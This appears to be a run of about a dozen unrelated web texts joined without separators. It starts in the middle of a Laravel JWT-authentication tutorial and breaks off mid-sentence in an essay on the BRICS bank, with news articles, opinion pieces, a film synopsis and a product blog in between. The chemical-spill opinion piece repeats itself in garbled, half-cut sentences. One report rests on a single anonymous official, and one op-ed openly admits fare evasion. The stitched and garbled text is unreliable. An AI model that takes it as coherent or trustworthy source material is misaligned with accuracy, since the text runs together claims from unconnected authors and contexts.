$limit = $request->input('limit')?$request->input('limit'):5; if ($search_term) { $jokes = Joke::orderBy('id', 'DESC')->where('body', 'LIKE', \"%$search_term%\")->with( array('User'=>function($query){ $query->select('id','name'); }) )->select('id', 'body', 'user_id')->paginate($limit); $jokes->appends(array( 'search' => $search_term, 'limit' => $limit )); } else { $jokes = Joke::orderBy('id', 'DESC')->with( array('User'=>function($query){ $query->select('id','name'); }) )->select('id', 'body', 'user_id')->paginate($limit); $jokes->appends(array( 'limit' => $limit )); } return Response::json($this->transformCollection($jokes), 200); }\n\nNow you can test the search as follows:\n\nAdding JWT Auth\n\nNow we will add the security to the routes, such that only the authenticated users can request the data, otherwise they will get error.\n\nLet’s start with basic auth, that laravel provides by default, open the JokesController.php and add the contructor function as:\n\npublic function __construct(){ //$this->middleware('auth.basic', ['only' => 'store']); $this->middleware('auth.basic'); }\n\nThis means we are using basic auth on all routes. When we now try to view the route in the browser, we will first need to signin and then we see the data like.\n\nNow, if we type the correct credentials, only then we can see the data.\n\nBut we won’t be using this for our api, for api’s it is better to use token based authentication, which means whenever the user authenticates he will be provided with the token, and the user will then send this token with each request and if the token is valid, only then the data will be displayed.\n\nFor Token Based Auth, we will use a laravel package called jwt-auth ,\n\nFirst open the composer.json and add the following item to the required array,\n\n\"tymon/jwt-auth\": \"0.5.*\"\n\nNow run the following command:\n\ncomposer update\n\nIt will download the jwt-auth package.\n\nNow Open config/app.php file and add the following item to the providers array:\n\nTymon\\JWTAuth\\Providers\\JWTAuthServiceProvider::class\n\nAlso in the config/app.php, add the following items to the aliases array:\n\n'JWTAuth' => Tymon\\JWTAuth\\Facades\\JWTAuth::class, 'JWTFactory' => Tymon\\JWTAuth\\Facades\\JWTFactory::class\n\nNow publish this package from command line as:\n\nphp artisan vendor:publish --provider=\"Tymon\\JWTAuth\\Providers\\JWTAuthServiceProvider\"\n\nNow you will see a new file in the config folder called jwt.php, Now we need to generate jwt specific key from command line as:\n\nphp artisan jwt:generate\n\nNow you can see the key in the secret field changed to new key.\n\nNow open the routes.php and add the following routes:\n\nRoute::group(['prefix' => 'api/v1'], function() { Route::resource('authenticate', 'AuthenticateController', ['only' => ['index']]); Route::post('authenticate', 'AuthenticateController@authenticate'); Route::get('authenticate/user', 'AuthenticateController@getAuthenticatedUser'); });\n\nAdd the following middleware to the construct method in the JokesController.php:\n\npublic function __construct(){ $this->middleware('jwt.auth'); }\n\nNow we need to make the AuthenticateController from the command line as:\n\nphp artisan make:controller AuthenticateController\n\nNow open the AuthenticateController.php and update the file as follows:\n\n<?php namespace App\\Http\\Controllers; use Illuminate\\Http\\Request; use App\\Http\\Requests; use App\\Http\\Controllers\\Controller; use App\\User; use JWTAuth; use Tymon\\JWTAuth\\Exceptions\\JWTException; class AuthenticateController extends Controller { public function __construct() { $this->middleware('jwt.auth', ['except' => ['authenticate']]); } /** * Display a listing of the resource. * * @return \\Illuminate\\Http\\Response */ public function index() { return \"Auth index\"; } public function authenticate(Request $request) { $credentials = $request->only('email', 'password'); try { // verify the credentials and create a token for the user if (! $token = JWTAuth::attempt($credentials)) { return response()->json(['error' => 'invalid_credentials'], 401); } } catch (JWTException $e) { // something went wrong return response()->json(['error' => 'could_not_create_token'], 500); } // if no errors are encountered we can return a JWT return response()->json(compact('token')); } public function getAuthenticatedUser() { try { if (! $user = JWTAuth::parseToken()->authenticate()) { return response()->json(['user_not_found'], 404); } } catch (Tymon\\JWTAuth\\Exceptions\\TokenExpiredException $e) { return response()->json(['token_expired'], $e->getStatusCode()); } catch (Tymon\\JWTAuth\\Exceptions\\TokenInvalidException $e) { return response()->json(['token_invalid'], $e->getStatusCode()); } catch (Tymon\\JWTAuth\\Exceptions\\JWTException $e) { return response()->json(['token_absent'], $e->getStatusCode()); } // the token is valid and we have found the user via the sub claim return response()->json(compact('user')); } }\n\nNow try to hit the route, /api/v1/jokes, you will get an error token not provided like this:\n\nWhich means, we first need to generate token that we can generate by sending post request to api/v1/authenticate with email and password as following:\n\nNow you can send the requests with this token and then you will get the result as expected.\n\nTackling CORS\n\nNow our api is working fine, but there is last thing to take care of, now let’s say if we put this api online, no one will be able to access the api due to cross domain restrictions. So to overcome this we can install a Laravel package called laravel-cors.\n\nFirst install the package using composer:\n\ncomposer require barryvdh/laravel-cors 0.7.x\n\nNow add this package to config/app.php file’s providers array as:\n\nBarryvdh\\Cors\\ServiceProvider::class\n\nNow to use this package, open the routes file and update the routes as follows:\n\nRoute::group(['middleware' => 'cors', 'prefix' => 'api/v1'], function() { Route::resource('authenticate', 'AuthenticateController', ['only' => ['index']]); Route::post('authenticate', 'AuthenticateController@authenticate'); Route::get('authenticate/user', 'AuthenticateController@getAuthenticatedUser'); }); Route::group(['middleware' => 'cors', 'prefix' => 'api/v1'], function(){ Route::resource('jokes', 'JokesController'); });\n\nWrapping Up Part 1\n\nHopefully this tutorial was helpful and you have created your first API by the end of it.\n\nFeel free to leave any feedback or questions in the comments below and let me know if there’s anything you need help with or if I can clarify anything.\n\nThanks @jeffrey_way (laracasts) for his awesome screencasts, learned lot from him & jwt-auth inspiration by @ryanchenkie.\n\nSee Part 2 of this series, where we will create an app with AngularJS using this API.\n\nThanks."
Release Date: July 24, 2015 Rated: R Synopsis: Billy “The Great” Hope is the reigning Junior Middleweight Champion whose unorthodox stance, the so-called “Southpaw,” consists of an ineloquent, though brutal, display of offensive fighting…one fueled by his own feelings of inadequacy and a desperate need for love, money and fame. With a beautiful family, home and financial security, Billy is on top both in and out of the ring until a tragic accident leaves his wife dead and sends him into a downward spiral. His days now an endless haze of alcohol and prescription drugs, his daughter taken by Child Services and his home repossessed by the bank, Billy’s fate is all but sealed until a washed up former boxer named Tick agrees to take the bereaved pugilist under his wing so long as he agrees to his strict ethos. Relentless and utterly committed to a fighter that thinks as much as he throws punches, Tick rebuilds Billy into a new man: one that is agile, fearsome and uncompromising in the ring while thoughtful, loving and disciplined outside of it. Now, as he works to regain custody of his daughter and mounts a professional comeback, Billy must face his demons head-on as he learns that, sometimes, your greatest opponent can be yourself.
The time has come for us to officially announce the Immutant project. Immutant is going to be for Clojure what TorqueBox is for Ruby: a true, enterprise-grade application server, encapsulating the robust services provided by JBoss AS7 within intuitive Clojure API's. Further, Immutant has inspired us to attempt to achieve a sort of "polyglot cafeteria plan" of app serving. For example, your "application" might consist of a Ruby web app in the front and Clojure data mining services in the rear, loosely but securely coupled via JSON-encoded asynchronous messages. You choose the JVM-based languages and frameworks that make the most sense for each of your application components. And Immutant will provide a uniform deployment platform and the "glue", i.e. those critical enterprisey services like messaging, security, transactions, clustering, etc. that all successful applications eventually require. Why? Because learning new programming languages is fun. Because no one language is good for everything a non-trivial application needs to do. Because JBoss wants to be "everywhere". But mostly because we want to. App servers get a bad rap -- and bad app servers deserve it -- but simple deployment, clustering and messaging are all good things. Embracing polyglot and enabling the choice of the right language/framework for a specific job is a good thing. We hope to deliver that goodness via Immutant. An Invitation We just got started with this, and though still Clojure noobs, we're learning fast. We have a lot to do, and we'd love to have you help shape Immutant into something that'll best serve your needs. In the coming weeks, we'll be publishing more articles about Immutant, such as: How to deploy your Clojure apps (hint: Leiningen plugin) How to configure Immutant to serve both Ruby and Clojure apps How to pass messages between Ruby and Clojure components How to distribute Clojure message handlers across a cluster of immutants Please follow along on Twitter, join the mailing lists and/or hang out with us on IRC. It'll be fun!
Train with Diesel locomotive No 32042 from Transnet The Outeniqua Choo Tjoe was the last remaining continually-operated passenger steam train in Africa, ending operation in June 2009. The railway was completed in 1928, and links the towns of George and Knysna in the Western Cape, South Africa. The scenic 67-kilometre (42 mi) route took 3 hours, following the rugged coastline of the Garden Route, passing through Victoria Bay, Wilderness, Goukamma, and Sedgefield before ending by crossing a bridge over the lagoon in Knysna. It was declared an officially preserved railway in 1992, carrying about 40,000 passengers per year at the time. A decade later, it carried 115,000 passengers per year, 70% of whom were foreign tourists. The trains were usually pulled by SAR Class 19D steam locomotives, of 4-8-2 wheel arrangement with Vanderbilt-like "torpedo" tenders, although SAR Class 24 steam engines were also used occasionally. When dry conditions in the summer increase the risk of wildfires, diesel locomotives (SAR Class 32s) were used instead. During August 2006 the line was damaged due to heavy flooding.[1] As of November 2006 it was rescheduled to run between George and Mossel Bay (with a stop at Hartenbos).[2] In 2007, the train's owners, Transnet Limited, announced that the train was not regarded as part of its core business, and initiated a tender process to dispose of the train to a new owner/operator. In August 2010, Transnet announced that they had not found an operator, and the train would cease operating. The Western Cape Provincial MEC for Finance, Economic Development and Tourism, Alan Winde, said that he was resolved to keep this heritage tourism asset operational.[3] As of 2019 , the line is still closed. In May 2018 after a miniature steam locomotive mounted to a trolley crossed the causeway into Knysna in February 2018, it was reveiled in the British Magazine "Heritage Railway" that while there is ongoing discussion between Transnet and a private enterprise called "Classic Rail" there remains no agreement to franchise the line and re-open it for tourist traffic. In 2008, the train and the Kaaiman's River Bridge were featured in a television advertisement for Stella Artois.
By By Karen Graham Jan 16, 2015 in Crime Charleston - Call it what you will, but a chemical company has succeeded in pulling a fast one on West Virginians. After Freedom Industries poisoned 300,000 peoples drinking water last year, the company changed names and is still up to its old tricks. Many people assumed this was the end of the story. But you needn't fool yourselves because the company's executives quickly figured out how to get out of the mess. They filed for Chapter 11 Bankruptcy on January 17, 2014, citing the demands of creditors and a pile of lawsuits. Actually, they also knew that the In Freedom Industries filing, they listed a maximum of $10 million in debts. The amount was questionable because they already owed $6 million to the IRS and a few other creditors. The real owner of Freedom Industries was revealed in the bankruptcy filing to be J. Clifford Forrest, a Pennsylvania coal baron. He had purchased the company about three weeks before the spill for around $20 million. The real owner of Freedom Industries revealed Pay attention now, because this gets interesting. Freedom Industries claimed they were owned by Mountaineer Funding was incorporated one week before the bankruptcy filing, and guess who's name is listed as the only member? If you said Forrester, you win the Grand Prize. So in other words, Forrester was asking to lend his own money to himself to get his new business out of hot water. The The formation of Lexycon LLC While the bankruptcy filing was going on, on April 3, 2014, a chemical company, Lexycon LLC registered as a business in West Virginia. The new company had the same address and telephone number as Freedom Industries. When the Lexycon was started in Florida on March 24, 2014, and listed an address on North Collier Boulevard on Marco Island, Florida. Gary Southern, who is listed as president of Freedom, owned a home on Marco Island. But the address on the West Virginia registration gave Lexycon's address as a place in Naples, Fla. To add to the mystery, Southern sold that property in July 2014 to Cascadia, a company with the same mailing address as Lexycon. I won't go into the changing of Lexycon LLC cited for eight violations over the past five months Today the Dennis Farrell, a former Freedom Industries executive and consultant for Lexycon is facing a three-year prison term for his part in the chemical spill in 2014. Kevin Skiles, Lexycon president, owned 5.0 percent of Freedom's shares and was a research and technology specialist. Both Farrell and Skiles were listed as "technical" consultants when the W.Va. Gazette investigated Lexycon in May of last year. At that time, after emailing the company about the men, the paper found that both men's names had been removed from Lexycon's website. What amazes this writer is the obvious under-the-table tactics employed by these executives in avoiding any fault in what was a blatant abuse of their company's place in the industry. The name-changing fiasco apparently never made the national news to any extent because, after all, Freedom Industries ended up filing for bankruptcy after it was determined they were at fault for the leaking tank of chemicals in a tank farm along the Elk River in Charleston, West Virginia in early January, 2014.Many people assumed this was the end of the story. But you needn't fool yourselves because the company's executives quickly figured out how to get out of the mess. They filed for Chapter 11 Bankruptcy on January 17, 2014, citing the demands of creditors and a pile of lawsuits. Actually, they also knew that the bankruptcy code forbids anyone from filing a lawsuit against someone who has filed for bankruptcy.In Freedom Industries filing, they listed a maximum of $10 million in debts. The amount was questionable because they already owed $6 million to the IRS and a few other creditors. The real owner of Freedom Industries was revealed in the bankruptcy filing to be J. Clifford Forrest, a Pennsylvania coal baron. He had purchased the company about three weeks before the spill for around $20 million.Pay attention now, because this gets interesting. Freedom Industries claimed they were owned by Chemstream Holdings in Kittanning, the same address as Forrest's Rosebud Mining, the third largest coal producer in Pennsylvania. Freedom's filing also showed that VF Funding and Mountaineer Funding was willing to lend them as much as $5.0 million to help in the company's reorganization.Mountaineer Funding was incorporated one week before the bankruptcy filing, and guess who's name is listed as the only member? If you said Forrester, you win the Grand Prize. So in other words, Forrester was asking to lend his own money to himself to get his new business out of hot water. The conflicting reports of just who really did own Freedom points to a huge fault in American business dealings, and it centers around holding companies and roll-ups, making it hard to determine who owns what.While the bankruptcy filing was going on, on April 3, 2014, a chemical company, Lexycon LLC registered as a business in West Virginia. The new company had the same address and telephone number as Freedom Industries. When the W. Va. Gazette investigated, they found the executives for the new company were the same as Freedom's.Lexycon was started in Florida on March 24, 2014, and listed an address on North Collier Boulevard on Marco Island, Florida. Gary Southern, who is listed as president of Freedom, owned a home on Marco Island. But the address on the West Virginia registration gave Lexycon's address as a place in Naples, Fla. To add to the mystery, Southern sold that property in July 2014 to Cascadia, a company with the same mailing address as Lexycon. I won't go into the changing of the president of the company's name. It's just too unbelievable to think about.Today the Associated Press is reporting that Lexycon LLC has been cited by state regulators for a number of violations since August 2014. These include pouring chemicals without a permit, the lack of containment walls around chemical storage tanks, and having tanker-trailers on the premises with unknown chemicals.Dennis Farrell, a former Freedom Industries executive and consultant for Lexycon is facing a three-year prison term for his part in the chemical spill in 2014. Kevin Skiles, Lexycon president, owned 5.0 percent of Freedom's shares and was a research and technology specialist. Both Farrell and Skiles were listed as "technical" consultants when the W.Va. Gazette investigated Lexycon in May of last year. At that time, after emailing the company about the men, the paper found that both men's names had been removed from Lexycon's website.What amazes this writer is the obvious under-the-table tactics employed by these executives in avoiding any fault in what was a blatant abuse of their company's place in the industry. Further reading into the details of the men in question's backgrounds will show numerous jail and prison sentences for everything from narcotics to corruption. If the people of West Virginia let this corrupt company continue to do business in their state, who's to say what will happen next. This opinion article was written by an independent writer. The opinions and views expressed herein are those of the author and are not necessarily intended to reflect those of DigitalJournal.com More about freedom industries, Lexycon LLC, chemical spill, same companynew name, West Virginia More news from freedom industries Lexycon LLC chemical spill same companynew name West Virginia
Undercover video shot by Al Jazeera reveals the lengths to which some leaders of the UK’s influential pro-Israel networks will go to discredit their critics. Part three of The Lobby, broadcast on Friday night, shows the chairperson of Labour Friends of Israel falsely claiming a Palestine Solidarity Campaign supporter had abused her with anti-Semitism. Speaking to an undercover reporter who she thought was a pro-Israel activist, lawmaker Joan Ryan claimed the PSC activist had said Labour Friends of Israel was a route to getting a job at a bank in the City, London’s financial district. “You heard her say … ‘join you lot and you get into Oxford’ or ‘you get into working in the bank,’” Ryan says. But the film shows that PSC supporter Jean had said no such thing. “A friend of mine’s son’s got a really good job at Oxford University on the basis of having worked for Labour Friends of Israel,” the undercover footage proves Jean saying at the LFI stall at the Labour Party conference in September. At no point does the PSC supporter mention banks or the City of London. Ryan accuses Jean of falling for “rumors” and claims that “it’s a trope. It’s about conspiracy theorists and cabals.” She later claims Jean had invoked “classic anti-Semitic tropes.” Soon after, Ryan went to the press with her claims. And she told a Jewish Labour Movement event that evening that the incident “tells you something about why we need to be having this Against Anti-Semitism Rally.” Ryan reported Jean to the Labour Party for formal investigation. The experience had a profoundly disturbing effect on Jean’s life, leaving her under a cloud of suspicion. In episode two of The Lobby, Israeli embassy agent Shai Masot is seen telling the undercover reporter that complaints of anti-Semitism should be pursued against long-time anti-racism activist and Labour Party member Jackie Walker. “Do not let it go,” Masot says. He encourages similar tactics against others: “Not just her, all of the party.” “I reported that incident with that woman,” Ryan later tells LFI supporter and chair of the Home Affairs Select Committee, Chuka Umunna, who was checking up on the stall. “I am very shocked about the way she described my words to other people. I feel very anxious and that she should be misinterpreting me totally to other people. I find that very, very worrying,” Jean says in the film. Reported for “anti-Semitism” Jean clarifies that “at no point did I ever say that Labour Friends of Israel will get people jobs in banking in the City. I did say, which is absolutely true, that I know the son of a friend of mine who, he believed himself that having some connection with Labour Friends of Israel didn’t harm his career at all.” Jean had approached the LFI stall asking about the two-state solution which LFI claims to support, and how exactly they would help bring it about. “I thought Labour Friends of Israel were talking about Palestine because they were promoting a two-state solution,” Jean says. “Now I find they don’t want to talk about Palestine, and if you do talk about Palestine it would appear you’re kind of sucked into having, an accusation of anti-Semitism brought against you.” Speaking to the Jewish Chronicle on Friday in response to Al Jazeera’s revelations, Joan Ryan stood by her actions, claiming that “my complaint to the Labour Party about this incident made no references to the City and/or banking.” Jean was formally investigated by the party and cleared of accusations of anti-Semitism. Labour Friends of Israel is not an affiliated society of the Labour Party. But it has for years acted as a key part of the UK’s Israel lobby. Although it was once seen as an essential organization for any new MP to join, its influence has been waning in recent years. Fallout Disgraced Israeli embassy agent Shai Masot is shown in the film telling undercover reporter “Robin” that “for years, every MP that joined the parliament, the first thing that he used to do is go to join the LFI. They’re not doing it anymore in the Labour Party. In the CFI [Conservative Friends of Israel] they are doing it automatically.” Earlier episodes of The Lobby show undercover footage of LFI officer Michael Rubin talking about the group’s close ties to the embassy, all while publicly maintaining a distance so as “not to be seen as Young Israeli Embassy.” “We do work really really closely together,” he says. “It’s just publicly we just try to keep the LFI as a separate identity to the embassy.” The groundbreaking film has already led to the resignations of Israeli embassy agent Shai Masot and UK civil servant Maria Strizzolo. As the political fallout continues, questions are being asked about the role of senior Israeli officials in the highly damaging debacle, including Prime Minister Benjamin Netanyahu. Part three of The Lobby can be viewed in the video above. All four parts of the film are airing on Al Jazeera this week, and can now be watched online.
A report by the Association for Democratic Reforms shows that more than 23 percent of each one’s declared income remained unspent An analysis of the income and expenditure of the BJP and Congress in 2015-16 has been prepared by the Association for Democratic Reforms (ADR). report: Following are the key points from the The due date for submission of annual audited accounts for the parties was October 30, 2016. AITC, CPM and BSP were the only three national parties to submit the audit reports on time. BJP and INC submitted theirs almost six months after the due date. Total income and expenditure of national political parties for 2015-2016 Total income of the 7 national parties was Rs 1033.18 crore of which the parties spent Rs 754.45 crore and declared an unspent amount of Rs 278.73 crore (26.98% unspent of total income). BJP’s total declared income was Rs 570.86 crore out of which 23.13% (Rs 132.06 crore) remained unspent. INC declared a total income of Rs 261.56 crore but 26.11% (Rs 68.30 crore) was declared unspent. Total income of national parties in 2015-2016 The 7 national parties have declared a total income of Rs. 1033.18 crore, collected from all over India. BJP has shown the highest income with a total income of Rs 570.86 crore. This forms 55.25% of the total income of all national parties. INC declared the second highest income of Rs 261.56 crore which forms 25.32% of the total income of all national parties. Comparison of total income of BJP and INC between 2014-15 and 2015-16 The income of BJP in 2014-15 was highest among all the national parties. The party had declared a total income of Rs 970.43 crore and its income decreased by 41.17% to Rs 570.86 crore in 2015-16. Income of INC was second highest in 2014-15 with Rs 593.31 crore but the party also declared a decrease of 55.92% to Rs 261.56 crore during 2015-16. Unknown sources of income of BJP and INC for 2015-2016 Total income of BJP and INC in 2015-16: Rs 832.42 crore. Total income of political parties from known donors (details of donors as available from contribution report submitted by parties to Election Commission): Rs 97.27 crore, which is 11.69% of the total income of the 2 national parties during 2015-16. Total income of the BJP and INC from other known sources (e.g., sale of assets, membership fees, bank interest, sale of publications, party levy etc.): Rs 88.33 crore, or 10.61% of total income. Total income of the BJP and INC from unknown sources (income specified in the IT Returns whose sources are unknown), for 2015-16 is Rs 646.82 crore, which is 77.70% of the total income of the 2 parties from all over India. Details of unknown sources of income as declared by the parties in their IT Returns Among the unknown sources of funding, maximum funds were collected under “Voluntary Contributions” by the BJP during 2015-16. A total of Rs 459.56 crore was collected under “Voluntary Contributions” which formed 80.5% of the total income from unknown sources of the BJP. The most preferred unknown source of funding for the INC was “Sale of coupons” under the party collected a total of Rs 167.96 crore which formed 25.97% of the party’s total income from unknown sources during 2015-16. Recommendations of ADR
Women from Britain, Australia and Malaysia have reportedly travelled to Iraq and Syria to serve as 'comfort women' for Isis militants, a phenomenon which has become known as "sexual jihad." Intelligence authorities in Kuala Lumpur have confirmed that at least three Malaysian females have travelled to the Islamic State, the caliphate established by the Sunni extremists. One of the women is said to be in her 30s while another is in her 40s. The concept of sexual jihad previously surfaced in conflict zones such as Syria and Egypt when the countries were reeling under political turmoil. During the crisis, women are said to have offered sexual comforts to fighters to boost their morale. "These [Malaysian] women are believed to have offered themselves in sexual comfort roles to Isis fighters who are attempting to establish Islamic rule in the Middle East" an intelligence official, who did not wish to be identified, told the Malaysian Insider. "This concept may seem controversial but it has arisen as certain Muslim women here are showing sympathy for the Isis struggle." The official added that intelligence information shared from Britain and elsewhere reveal that Australian and British females are also performing sexual jihad for the militants. At least 600 Britons, including several women, are estimated to be in the war zones in Iraq and Syria. Some estimates quote a much higher figure. "This figure also includes British Muslim women who are not fighting on the front line, but are still involved by performing sexual jihad. Australian intelligence officials have revealed that more than 100 Australian Muslims are in Syria fighting alongside Isis," the intelligence official added. Earlier reports had suggested that the Iraqi Sunni extremists had called upon Muslim women in Mosul to perform sexual jihad to satisfy the male insurgents engaged in battle.
My name is Darth Fare Evader and I’m a scofflaw. Yup, I frequently use the TTC and hardly ever pay. How? Well that’ll stay my secret for the time being. Do I feel guilty about it? Not really. Here’s the thing. My income does not meet the minimum poverty level. So without regular, full-time employment I just can’t afford to get around this wondrous city. Cars are great. They can take you almost anywhere – if you can afford to buy one and pay for the gas. And repairs. And insurance. And parking. Alas, biking in winter is something not to be taken lightly. Besides, Toronto is the bicycle theft capital of North America. So where does that leave people like me? Walking? I love my neighbourhood but in a city like Toronto there should be no barriers to public transit. None. A round trip adult cash fare is $6.50. That’s a meal off my table. I have to really need to be somewhere before deciding to spend that kind of money on transit. If I have a job interview that requires a bus or subway ride I can’t chance the cost unless I think there’s a reasonable shot I will get the job. No trips to the library on bad weather days, either. Can't afford it. If I am on a streetcar going past my favourite sandwich shop and I want to hop off because they have these great, delicious deals, I’m outta luck. I can’t spend an additional $3.25 to get back on transit just to buy a sandwich. So what should be done? If I’m caught should I be fined hundreds of dollars or go to jail? What would that solve? It amazes me when politicians think the answer to poverty is to take more money – or the ability to earn it – away from poor people. What’s a mayor to do? Hmm. Raise the fares so even fewer people can afford to ride the TTC? Just did that. Hire more security to catch fare evaders? Ditto. Council has agreed to a fare pass discount for low-income riders earning less than $22,000 a year, but that won't come into effect until 2018. What's the alternative? Free. Public. Transit. “That’s insane” you say. Hardly. It’s been successful in dozens of cities around the world as well as in parts of Canada. Calgary's C-Train is free. Halifax runs a free bus service downtown during the summer months. Is it a perfect solution? No. It might not be easy to implement and it would take a lot of work. The biggest challenge is obviously the cost. How would the millions of fare dollars be replaced? No doubt the private sector would be happy to put up a good chunk for access to the millions of weekly riders. But it's the province that would have to greatly increase the amount it already provides. Gee, wouldn't that be a tough sell in Sarnia or Timmins? Well not if the premier commits to mobilizing all of Ontario. Public transit should be a right. Any city of a certain physical size and a large enough population should have a transit system of some kind available free to its people. Businesses that might otherwise leave jobs unfilled because of the distances involved to get there, would employ people. Also, when you don’t have to worry about having tokens in your pocket you go out more. You want to treat the kids to a movie downtown but parking means no popcorn. Then there are the people with doctors appointments who can't get across town because it’s the end of the month and the money doesn’t stretch far enough. Are they any less deserving of medical care because OHIP doesn’t cover transit? At least with the Metropass, people can make quick trips when needed. Pick up that sandwich, book, bottle of wine or just get out of the rain for the few blocks to the coffee shop. They don’t have to worry it’s going to punch them in the wallet every time they want to get on transit. So naturally, the city wants to get rid of it, replacing it with the Presto card. Politicians love to talk about how we are a world class city. But have you seen the subway map of New York City or London or even Montréal’s Métro? Compared to them we'll never stack up as long as we measure our system by our wallets. Yes, we need subways. And buses. And more. Toronto’s a big city, more than 630 square kilometres stretched out roughly 40 kilometres east to west and 24 kilometres north to south. But it would be nice if I didn’t have to spend over $1500 a year to get around it. news@nowtoronto.com | @nowtoronto
A man is being treated in isolation in Hawaii for what health officials say is a potential Ebola case, local ABC affiliate KITV reported Thursday, though he could be sick with some other ailment. Authorities stress that they are being especially cautious amid concerns over the deadly virus, two days after the first confirmed case in the United States was identified in Texas. They did not release details about the patient or the hospital where he is being treated, according to KITV. “The hospital is being very careful, as they should be, to take precautions making sure the patient is in isolation and making sure the people and the public stay safe,” Dr. Melissa Viray, an official with the Hawaii Department of Health, told KITV. “That being said, it’s still an if. This is not a ‘for sure’ thing.” Health officials in Texas are tracking down anyone who may have come into contact with the Ebola patient in Texas and monitoring a second potential case. The virus has infected more than 7,200 people primarily in Western Africa and killed more 3,300 in the worst Ebola outbreak on record. [KITV] Write to Noah Rayman at noah.rayman@time.com.
How YouTrack Personal Agile Board Helped Me to Be Better Organized Andrey Cheptsov Blocked Unblock Follow Following Sep 21, 2016 Disclaimer: I work for JetBrains as a Product Marketing Manager for IntelliJ IDEA, but this article isn’t about selling you YouTrack. Granted, at JetBrains, we’re all using it for our daily tasks, because it’s a good issue tracker, but I personally can’t say I am one of its big fans. Another thing this article isn’t about is convincing you to start using Scrum, Kanban, Agile or anything like that because I myself kind of against following any formal processes just for the sake of it (which applies to the most of people at JetBrains). So what’s it about? Let’s start with that I found Kanban board (detached from Agile) very helpful in the aspect of organizing myself and the tasks I get to deal with. Being a Product Marketing Manager means that in addition to my own tasks I need to coordinate other teams which work is relevant to my product. I’m involved in releases, marketing campaigns, events, development and many other activities. On a daily basis, I collaborate with developers, designers, evangelists, researchers, sales, marketing specialists, and dozens of other teams and people. The sheer number of these communications is so massive that without a proper tool I’d be buried under tons of emails and paper notes. Before I discovered YouTrack Agile Board, I’ve been using Trello to help me organize my tasks. Trello is brilliant, very simple, flexible, and does exactly what it promises. I have to admit that the word “Agile” was one of the reasons I kept myself away from YouTrack Agile Board (well, that, and it’s ugly interface, which, by the way, was improved in YouTrack 7.0). Nevertheless, I would still have used Trello, if not for one thing. Most of the issues I coordinate were (and still are) YouTrack issues. This means that if I wanted to use Trello, I had to link every Trello card to a YouTrack issue — which I did for some time until Valery from the YouTrack team has shown me that all I did with Trello is possible with YouTrack. This is how my board looks now:
Establishing the BRICS Bank is a momentous event The July 2014 BRICS (Brazil, Russia, India, China, South Africa) Summit was a momentous event, more important than the World Cup that also took place in Brazil. The BRICS sealed the deal towards the creation of the BRICS development bank and a US$ 100 billion reserve fund, labelled a "Contingency Reserve Arrangement" that promises to help developing nations avoid "short-term liquidity pressures, promote further BRICS cooperation, strengthen the global financial safety net and complement existing international arrangements." The BRICS bank is expected to strengthen economic and financial relations and cooperation between the members of the BRICS group, promote mutual investments in addition to providing development funding in the BRICS group and in developing countries, with a likely focus on the African region. The BRICS bank will provide loans, guarantees, long-term credits and make equity investments. A major focus will be on infrastructure, aiming to address a yawning gap in infrastructure finance for the emerging economies. To illustrate, the ADB estimates that Asia will need some US$ 800bn a year of infrastructure investment between now and 2020 -- but, it lends only US$ 10bn a year for infrastructure. The MENA region countries face a similar infrastructure financing gap of some US$ 60bn per year, not to mention over US$1 trillion for reconstruction following wars and violence. Ironically the BRICS bank mission is similar to the original mission of the International Bank for Reconstruction and Development alias the World Bank, but which went awry. As founders, the BRICS agreed at the Summit that the capital for the bank would be split equally among the five nations, giving equal voting power. The bank will have its headquarters in Shanghai, and the first president for the bank will come from India, while the board will mainly come from Brazil. Shifting 'soft power' to the BRICS and emerging economies The establishment of the BRICS bank marks the delayed shift of 'soft power' from the 'West', from the US and Europe to Asia and to emerging economies, confirming the shift in economic and financial weight. The centre of global economic and financial geography has been progressively shifting "East" for the past three decades, with the epicentre now lying East of Mumbai. Measured at PPP rates, China will have surpassed the US by 2017 as the world's largest economy, while India has already surpassed Japan to become the world's third largest economy. This tectonic shift in economic fortunes and transformation of the global economy is already evident in changed patterns of production, trade, investment and capital markets: emerging markets already account for 48% of world trade, with Asia's share alone at 31.5%. In line with positive growth prospects and higher returns to investment, some 52% of global FDI flows into emerging markets, with 30% into Asia. Non-OECD economies now account for 65% of energy markets, with demand from China dominant. But global institutions have yet to reflect the economic and financial power of the BRICS. The shift in soft power will unfurl in three main developments over the coming decade: a change in the governance of the international monetary and financial architecture, the growth of 'Renminbisation' and the emergence of local currency markets in emerging economies. Changing governance of international monetary and financial architecture Today, the BRICS account for about 25% of global GDP, 35% of total international reserves (with China at over US$4 trillion), 25% of total land area and around 42% of the world's population. However, despite their economic weight, the BRICS have a major power gap in global economic governance. Their representation, voting power, participation in management and staff in the Bretton Woods institutions (IMF, World Bank, WTO, and IFC) and others like the BIS, displays a major deficit of 'voice' and influence. The tectonic shift in world economic geography has not reflected itself in the governance and management, let alone the staff of IFIs. The BRICS and emerging countries do not set the agenda but they must bow to the diktats! Voting power at the IMF disproportionately favours the US 16.75%, Japan 6.23%, Germany, France and the UK votes add up to 14.39% compared to a total for the 11% for BRICS, of which China: 3.8%. Despite the BRICS endeavouring to increase their influence of global financial decision-making, the US and the Europeans have thwarted attempts at IFI reform. The IMF's voting reforms approved in 2010, ratified by more than three-quarters of the Fund's member governments are still missing ratification by the US. The new BRICS bank and international reserves facility are the first building block of a new international monetary and financial architecture with new institutions and greater 'voice' for the new economic and financial powers of the XXI century, with a focus on issues relevant to emerging economies. The next global agreement will be Shanghai I not Bretton Woods II. Growing Renminbisation is the alternative to US$ hegemony The second building block of the new international financial architecture is the creation of a 'Yuan Zone'. Currently, global trade and investment flows and payments are mainly intermediated and settled through the use of the US$ and the Euro. GCC oil sold to China is priced and settled in US$ through US$ regulated clearing banks, which increases transactions costs and involves exchange rate and payment risk. In addition, participants in the US$-based payment system have also been subject to fines and penalties arising from politically motivated US sanctions. China is today the world's biggest trading nation and its bilateral trade can be more efficiently conducted using Renminbi (RMB). China's policy is to increase the internationalisation of the Renminbi: 'Renminbisation'. To date, there have been three main channels of Renminbisation: the introduction of the RMB as the settlement currency for cross-border trade transactions, the provision of RMB swap lines between the People's Bank of China (PBoC) and other central banks and the creation of an RMB offshore market. China now has 24 currency swap arrangements worth some US$ 430bn including a RMB 35bn currency swap agreement with the UAE central bank. These swap facilities can provide liquidity to finance bilateral trade and investment flows and can form the basis of a multilateral RMB clearing system. By 2015, the RMB will emerge as a global currency alongside the US$ and the Euro. The growing international use of the RMB will progressively create a 'Yuan Zone' where multilateral trade can be financed and settled in RMB. Similarly, given China's dominance of international trade, commodities, goods and services will be increasingly denominated in RMB. In particular, given China's dominance of GCC energy export markets, it is 